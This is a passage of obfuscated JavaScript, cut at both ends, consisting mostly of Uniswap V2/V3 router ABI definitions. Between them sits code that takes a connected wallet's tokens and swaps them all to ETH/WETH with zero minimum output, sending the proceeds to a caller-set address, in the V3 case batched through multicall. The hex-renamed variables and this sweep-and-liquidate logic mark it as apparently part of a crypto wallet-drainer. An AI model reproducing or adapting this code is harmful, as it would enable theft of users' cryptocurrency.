internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x23fb58 = new ethers.Contract(_0x2b7b1b, _0x3ec42c, _0x9d9505); | |
let _0x36790e = await _0x23fb58.WETH(); | |
let _0x48942d = []; | |
_0x48942d[0] = _0x4f37a4.asset.token; | |
_0x48942d[1] = _0x36790e; | |
return [_0x23fb58.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x48942d, this.caller, _0x1b1427), _0x36790e]; | |
} | |
case "UniswapV3": | |
{ | |
let _0x364869 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH9", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH9", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}], | |
internalType: "struct ISwapRouter.ExactInputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct ISwapRouter.ExactInputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}], | |
internalType: "struct ISwapRouter.ExactOutputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct ISwapRouter.ExactOutputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "results", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "refundETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermit", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowed", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowedIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "sweepToken", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "sweepTokenWithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "int256", | |
name: "amount0Delta", | |
type: "int256" | |
}, { | |
internalType: "int256", | |
name: "amount1Delta", | |
type: "int256" | |
}, { | |
internalType: "bytes", | |
name: "_data", | |
type: "bytes" | |
}], | |
name: "uniswapV3SwapCallback", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9WithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x232647 = new ethers.Contract(_0x2b7b1b, _0x364869, _0x9d9505); | |
let _0x188ee7 = await _0x232647.WETH9(); | |
let _0x2521ff = _0x4f37a4.asset; | |
let _0x109046 = []; | |
for (let _0x1dee52 of _0x2521ff) { | |
let _0x4ae873 = _0x232647.interface.encodeFunctionData("exactInputSingle", [[_0x1dee52.token, _0x188ee7, 3000, this.caller, _0x1b1427, _0x1dee52.amount, 0, 0]]); | |
_0x109046.push(_0x4ae873); | |
} | |
let _0x222d5f = _0x232647.interface.encodeFunctionData("multicall(bytes[])", [_0x109046]); | |
let _0x557d2d = { | |
to: _0x2b7b1b, | |
from: await this.getWalletAddress(), | |
data: _0x222d5f | |
}; | |
return [_0x9d9505.sendTransaction(_0x557d2d), _0x188ee7]; | |
} | |
case "UniswapV3_2": | |
{ | |
let _0x2c15ad = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factoryV2", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "factoryV3", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_positionManager", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH9", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH9", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveMax", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveMaxMinusOne", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveZeroThenMax", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}], | |
name: "approveZeroThenMaxMinusOne", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "callPositionManager", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes[]", | |
name: "paths", | |
type: "bytes[]" | |
}, { | |
internalType: "uint128[]", | |
name: "amounts", | |
type: "uint128[]" | |
}, { | |
internalType: "uint24", | |
name: "maximumTickDivergence", | |
type: "uint24" | |
}, { | |
internalType: "uint32", | |
name: "secondsAgo", | |
type: "uint32" | |
}], | |
name: "checkOracleSlippage", | |
outputs: [], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "uint24", | |
name: "maximumTickDivergence", | |
type: "uint24" | |
}, { | |
internalType: "uint32", | |
name: "secondsAgo", | |
type: "uint32" | |
}], | |
name: "checkOracleSlippage", | |
outputs: [], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}], | |
internalType: "struct IV3SwapRouter.ExactInputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct IV3SwapRouter.ExactInputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactInputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "bytes", | |
name: "path", | |
type: "bytes" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}], | |
internalType: "struct IV3SwapRouter.ExactOutputParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutput", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "tokenIn", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenOut", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMaximum", | |
type: "uint256" | |
}, { | |
internalType: "uint160", | |
name: "sqrtPriceLimitX96", | |
type: "uint160" | |
}], | |
internalType: "struct IV3SwapRouter.ExactOutputSingleParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "exactOutputSingle", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factoryV2", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "getApprovalType", | |
outputs: [{ | |
internalType: "enum IApproveAndCall.ApprovalType", | |
name: "", | |
type: "uint8" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "token0", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "token1", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount0Min", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount1Min", | |
type: "uint256" | |
}], | |
internalType: "struct IApproveAndCall.IncreaseLiquidityParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "increaseLiquidity", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "token0", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "token1", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "fee", | |
type: "uint24" | |
}, { | |
internalType: "int24", | |
name: "tickLower", | |
type: "int24" | |
}, { | |
internalType: "int24", | |
name: "tickUpper", | |
type: "int24" | |
}, { | |
internalType: "uint256", | |
name: "amount0Min", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount1Min", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
internalType: "struct IApproveAndCall.MintParams", | |
name: "params", | |
type: "tuple" | |
}], | |
name: "mint", | |
outputs: [{ | |
internalType: "bytes", | |
name: "result", | |
type: "bytes" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "previousBlockhash", | |
type: "bytes32" | |
}, { | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes[]", | |
name: "data", | |
type: "bytes[]" | |
}], | |
name: "multicall", | |
outputs: [{ | |
internalType: "bytes[]", | |
name: "results", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "positionManager", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "pull", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "refundETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermit", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowed", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "nonce", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "expiry", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitAllowedIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "selfPermitIfNecessary", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "sweepToken", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}], | |
name: "sweepToken", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "sweepTokenWithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "sweepTokenWithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "int256", | |
name: "amount0Delta", | |
type: "int256" | |
}, { | |
internalType: "int256", | |
name: "amount1Delta", | |
type: "int256" | |
}, { | |
internalType: "bytes", | |
name: "_data", | |
type: "bytes" | |
}], | |
name: "uniswapV3SwapCallback", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}], | |
name: "unwrapWETH9", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "recipient", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9WithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountMinimum", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "feeBips", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "feeRecipient", | |
type: "address" | |
}], | |
name: "unwrapWETH9WithFee", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}], | |
name: "wrapETH", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x414c73 = new ethers.Contract(_0x2b7b1b, _0x2c15ad, _0x9d9505); | |
let _0x41b081 = await _0x414c73.WETH9(); | |
let _0x2fd87c = _0x4f37a4.asset; | |
let _0x175df8 = []; | |
